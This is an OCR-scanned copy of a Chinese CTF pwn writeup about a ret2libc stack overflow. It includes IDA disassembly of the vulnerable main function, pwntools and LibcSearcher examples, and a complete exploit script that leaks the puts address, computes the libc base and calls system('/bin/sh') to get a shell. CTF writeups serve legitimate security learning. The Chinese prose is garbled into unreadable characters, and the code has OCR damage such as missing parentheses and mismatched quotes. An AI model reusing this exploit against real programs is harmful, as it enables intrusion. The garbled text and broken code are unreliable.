Tamevic’s Ctf-Pwn writeup@iX 14 % 4 SE%: 3pwn’

TameVic F 2019-03-19 19:38:41 K i 193 R

SFERL: pwn XERE: cff pwn

FRAUE B : ASCAEERAISCE, 5 CC 4.0 BY-SA MR, H8iFMH EFESCH s mA RS,
A CEERE: https://blog.csdn.net/qq_43264421/article/details/88665008

KA

(.-"\

p wn ERERFIZHE
2L EO0ITH

Wb &4
Tamevic's Ctf-Pwn writeup @k 14 % 4 L % 3pwn’

LREEFF==F 2T

e
HIEMELR2R RN, REREEEME.. ARG .. FERANREIEEE. ..
324FH: WkRER XM T .. B https/pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 2575:6xit

- #r

XREW A ERRA o v B G Systemki 8, A V8 A S0 B W i getflag ()i %, &2 — L H Al BB 75 k3K 15
System i £ ik .

o EQ=F

2% CTF-WIKI: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3

Systemifi # & libc.soRRUE I — MR E, T HRBARBAERL PN AL E (REF VAN WS AaREZN, BB
PASRAE P — AN AL iR %, BRI B hhE, e XA i BUE F libehi A (libcfEgithub EA NS , 2R)5 F k13 System $ i)
Hitik .

FRIFTIRG A R Bk ? BAAERAE R FgotR Mt 5E, BIREIX A B FrgotsR H i P 284t H SR ED T

KT gotERpltE, TTUEEXEEE: hitps:/blog.csdn.net/qq_18661257/article/details/54694748

BT CAZE AR B2 a3k flibe, SAJETEFEF A WSystem®# (3 /bin/sh' ZfFH ElibcH A, MATEMEEAHNR) , XEH
F|—/T ELibcSearcher(https:/github.com/lieanu/LibcSearcher )

HikexpE #:

o FIAH—RERBMEN, Hretix B A ER H I REptR b (RATX BB puts BRED , HgotR F IEEE I H
K, FHEKFENERH

o RABlibchi A, THHSystemmZibhl, 15 bin/sh' 7R & Hihk

o FXF Hmain(RE M, FEFB# Bsystem(/bin/sh’), B )5 getshell


https://blog.csdn.net/qq_43264421
https://blog.csdn.net/qq_43264421/category_8744114.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_43264421/article/details/88665008
https://blog.csdn.net/qq_43264421/category_8744114.html
https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3
https://blog.csdn.net/qq_18661257/article/details/54694748
https://github.com/lieanu/LibcSearcher

FEEERH

-text:080484FD main proc near ; DATA XREF: start+l7to
.text:080484FD ; _ unwind {

.text:080484FD push ebp

.text:080484FE mov ebp, esp

.text:08048500 and esp, OFFFFFFFOh

.text:08048503 add esp, OFFFFFF80h

.text:08048506 mov eax, ds:stdin@@GLIBC_2_0
.text:0804850B mov dword ptr [esp+0Ch], 0 ; n
.text:08048513 mov dword ptr [esp+8], 2 ; modes
.text:0804851B mov dword ptr [esp+4], 0 ; buf
.text:08048523 mov [esp], eax ; stream
.text:08048526 call _setvbuf

.text:0804852B mov eax, ds:stdout@@GLIBC_2_0
-text:08048530 mov dword ptr [esp+0Ch], 0 ; n
.text:08048538 mov dword ptr [esp+8], Z ; modes
.text:08048540 mov dword ptr [esp+4], 0 ; buf
.text:08048548 mov [esp], eax ; stream
.text:0804854B call _setvbuf

.text:08048550 mov dword ptr [esp], offset s ; "SUCTF is not so hard"
.text:08048557 call _puts

.text:0804855C mov dword ptr [esp], offset asc_B8048645 ; "let's have the di er ci try"
.text:08048563 call _puts

.text:08048568 mov dword ptr [esp+8], 100h ; nbytes
.text:08048570 lea eax, [esp+lCh]

.text:08048574 mov [espt4], eax ; buf
.text:08048578 mov dword ptr [esp], 0 ; fd
-text:0804857F call _read

.text:08048584 mov eax, 0

.text:08048589 leave

.text:0804858A retn

.text:0804858A ; } // starts at B0484FD

.text:0804858A main endp
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context.log_level="debug’

context.terminal=[ 'gnome-terminal’,'-x"',"'sh',"'-c"']
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pwnlib.gdb.attach(sh)

XE L Rpwntools Bl TR, KEThEEH R F IR E T, )5 F FHTE Kterminal & D 34T R, (HRXEHEL
RA LGN, BRI EEESWE.
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>>> e = ELF('/bin/cat"')

>>> print hex(e.address)

0x400000

>>> print hex(e.symbols['write'])
0x401680

>>> print hex(e.got['write'])

0x60b070

>>> print hex(e.plt['write'])

0x401680

>>> print hex(e.search('/bin/sh').next())

LibcSearcher/& 4 f#f ?

libc = LibcSearcher('&¥4 "', B4 MR K HlE)
libcbase = E&MERMMEE - libc.dump (' BEL ")
HEEMBEOR SN = libcbase + libc.dump (' 18Z it 58 R ok ')
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from pwn import *
from LibcSearcher import *

context.log_level="debug'
context.terminal=[ 'gnome-terminal’,"'-x"',"'sh","'-c’

sh=process("'./pwn’
elf=ELF('./pwn’

main_addr=0x080484FD

puts_plt=elf.plt[ 'puts’
print('puts_plt',hex(puts_plt
puts_got=elf.got[ 'puts’
print('puts_got',hex(puts_got

#pwnlib.gdb.attach(sh
payload="'a'*112+p32(puts_plt)+p32(main_addr)+p32(puts_got

sh.recvuntil("try\n'
sh.sendline(payload

#print ('got libc_st_main'

puts_addr = u32(sh.recv(4
#print ('puts_addr',hex(puts_addr

libc = LibcSearcher('puts',puts_addr

#print libc

libcbase = puts_addr - libc.dump('puts’

#print '’

system_addr = libcbase + libc.dump('system’
#print"!"

binsh_addr = libcbase + libc.dump('str_bin_sh’
#print' !’

payload = 'A'*104+ p32(system_addr) + 'b'*4 + p32(binsh_addr
sh.sendline(payload

sh.interactive
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End
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[+] ubuntu-xenial-i386-1ibcé (Ld llﬁcﬁ.“.“E eubuntule ~1386) be choosed.

Hﬂ matched, Make sure you supply a valid function name or just add more libc.

No matched, Make sure you supply a valid function name or just add more libc.
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